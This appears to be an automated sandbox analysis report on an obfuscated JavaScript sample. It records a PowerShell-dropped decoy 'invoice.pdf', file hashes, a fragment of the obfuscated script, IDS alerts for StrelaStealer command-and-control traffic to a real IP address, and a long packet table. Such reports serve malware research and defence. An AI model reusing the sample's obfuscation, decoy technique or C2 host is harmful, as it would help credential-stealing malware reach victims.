SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15903), with CRLF line terminators
Entropy (8bit):	4.901479200613826
TrID:
File name:	173992455338126060.js
File size:	19'279 bytes
MD5:	2cfe12a54cc920804c6cd4341d75ffdf
SHA1:	941c95c864917f31e35a7042d012a4f93c43fb57
SHA256:	387ba4cc343ca5c7c2238798b324ac1f4245d4bfd4eea8a106587ac81d60719e
SHA512:	6c23b26b2402b104a75d26ff41e4c60594f2d59231ee591f68bd8b99797c0872f575ec91e5fd650a7ff011641dbaeaba47dcd5e3cbe474211b8750a9ba7750cb
SSDEEP:	384:ZNV1q+AVDNSeyAhv5nWMBzDfPKBiT5CofM9DifsHRFrzgvdzPsEP0rZoWKa/RJfI:ZNV1BAVDNSXAt5nWMBzDfPKBiT5CofMq
TLSH:	B282948D4064DBEF84F09ED2573298A1570542BD471008B1AE2F19E29B3DBF6F6E64BC
File Content Preview:	function lvigf(){czjtmms=[1031,3079,5127,4103,2055,3072];var qppmth=this[icwnl+qkqko+gyguerwv+ahleviehe+omrln+ihrqptsgs+krncivmg+uhjtwy](this[mvsklwr+ctdzt+sofjxzcof+gyguerwv+ceacpgpzl+icwnl+uhjtwy][kzjkn+gyguerwv+omrln+qkqko+uhjtwy+omrln+tbygflq+cnplkrhp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:44:56.384244+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:44:56.384244+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:44:58.721664+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:44:55.586487055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:55.591511011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:55.591583967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:55.594440937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:55.599395037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384057999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384164095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384206057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384241104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384243965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.384279013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384314060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.384315014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384354115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384361029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.384390116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384426117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384457111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.384460926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.384510994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.389456987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.430301905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.430351019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.430383921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.471703053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.512547970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.512564898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.512584925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.512598991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.512610912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.512623072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.512662888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.512775898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.513199091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.513211012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.513222933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.513233900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.513247013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.513279915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.513314009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.513978958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.513991117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.514002085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.514013052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.514024973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.514055014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.514055967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.514096022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.514957905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.514991999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.515027046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.515048027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.515063047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.515101910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.515117884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.515928984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.515990973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.558514118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.558562040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.558706045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.558741093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.599096060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.599107027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.599185944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.640892029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.640914917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.640925884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.640937090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.640949011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641026020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.641108990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.641177893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641190052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641230106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.641439915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641454935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641469002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641482115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641484976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.641525984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.641577959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641588926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.641622066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.641997099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642009020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642020941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642045975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.642072916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.642093897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642106056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642117023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642128944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.642153025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.642177105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.643012047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643023014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643033981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643044949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643055916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643066883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643079996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643098116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.643134117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.643841982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643853903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643873930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643886089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643888950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.643897057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643909931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643910885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.643922091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.643944979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.643980026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.644691944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.644702911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.644715071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.644741058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.644768000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.644779921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.644792080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.644814968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.644849062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.644850969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.645674944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.645688057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.645715952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.645728111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.645730972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.645766973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.646222115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.646261930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.687493086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.687544107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.687581062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.687619925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.687618017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.687690020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.727530956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.727541924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.727706909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769284964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769296885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769309044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769337893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769351006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769366980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769407988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769496918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769510984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769522905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769551039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769562960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769665956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769675970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769717932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769840956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769854069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769865990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769876957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769890070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769890070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769905090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.769936085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.769948959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.770174026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770186901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770198107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770226002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.770248890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770261049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770297050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.770329952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770340919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770353079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770365953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770375013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.770416021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.770883083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770895004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770906925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.770939112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.770967960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771056890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771069050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771080017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771090984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771102905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771111012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771121979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771138906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771177053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771563053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771576881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771589041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771609068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771620989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771622896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771635056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771650076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771667004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771698952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771744967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771756887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771768093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771780014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771790981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771800995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771805048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.771823883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.771848917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772615910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772628069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772639990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772653103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772665024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772670031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772676945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772690058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772690058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772711992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772743940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772777081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772789955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772799969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772811890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772824049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772829056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772836924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.772854090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.772880077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.773596048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773607969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773619890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773633003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773646116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773657084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773659945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.773673058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773680925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.773709059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.773766041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773777962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773789883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773802996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773813963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.773817062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773830891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.773832083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.773868084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.774501085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774550915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774557114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.774564028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774576902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774591923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774604082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774610043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.774619102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774682999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.774682999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.774970055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.774981022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.775022984 CET	49730	80	192.168.2.4	193.143.1.205
